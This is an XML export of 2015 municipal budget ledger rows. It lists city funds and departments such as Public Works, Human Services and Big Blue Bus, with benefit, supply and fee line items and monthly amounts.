<row _id="15099"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>43574.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43574.0</total></row>
<row _id="15100"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>57213.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57213.0</total></row>
<row _id="15101"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>89644.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>89644.0</total></row>
<row _id="15102"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10380.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10380.0</total></row>
<row _id="15103"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401007.0</object><object_description>SWIM CENTER-SEMI-PRIVATE LESSO</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-88200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-88200.0</total></row>
<row _id="15104"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400660.0</object><object_description>TECHNOLOGY ENHANCEMENT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-298700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-298700.0</total></row>
<row _id="15105"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6846.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6846.0</total></row>
<row _id="15106"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4789.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4789.0</total></row>
<row _id="15107"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5615.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5615.0</total></row>
<row _id="15108"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="15109"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>441.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>441.0</total></row>
<row _id="15110"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>62462.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62462.0</total></row>
<row _id="15111"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>795.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>795.0</total></row>
<row _id="15112"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15113"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>45691.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45691.0</total></row>
<row _id="15114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>588.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>588.0</total></row>
<row _id="15115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>101561.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>101561.0</total></row>
<row _id="15116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2476.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2476.0</total></row>
<row _id="15117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2565.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2565.0</total></row>
<row _id="15118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11607.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11607.0</total></row>
<row _id="15119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1610.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1610.0</total></row>
<row _id="15120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401005.0</object><object_description>SWIM CENTER-ROOM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-2700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2700.0</total></row>
<row _id="15121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401006.0</object><object_description>SWIM CENTER-SPECIAL CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-54400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-54400.0</total></row>
<row _id="15122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>533670.0</object><object_description>IMAGING COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3103.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3103.0</total></row>
<row _id="15123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>66239.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>66239.0</total></row>
<row _id="15124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2252.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2252.0</total></row>
<row _id="15125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2236.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2236.0</total></row>
<row _id="15126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>321662.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>321662.0</total></row>
<row _id="15127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1414.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1414.0</total></row>
<row _id="15128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2005.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2005.0</total></row>
<row _id="15129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>540.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>540.0</total></row>
<row _id="15130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>187639.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>187639.0</total></row>
<row _id="15131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3263333.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3263333.0</total></row>
<row _id="15132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ENG</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-238194.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-238194.0</total></row>
<row _id="15133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>23160.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23160.0</total></row>
<row _id="15134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>216907.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216907.0</total></row>
<row _id="15135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>799.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>799.0</total></row>
<row _id="15136"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>52544.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52544.0</total></row>
<row _id="15137"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7430.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7430.0</total></row>
<row _id="15138"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16532.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16532.0</total></row>
<row _id="15139"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401004.0</object><object_description>SWIM CENTER-PERMIT GROUPS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-126300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-126300.0</total></row>
<row _id="15140"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>32382.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32382.0</total></row>
<row _id="15141"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3325.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3325.0</total></row>
<row _id="15142"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1029.0</total></row>
<row _id="15143"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>401662.0</object><object_description>ASSFC PASS-THRU</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-200000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="15144"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>26480.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26480.0</total></row>
<row _id="15145"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2478.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2478.0</total></row>
<row _id="15146"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>82129.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>82129.0</total></row>
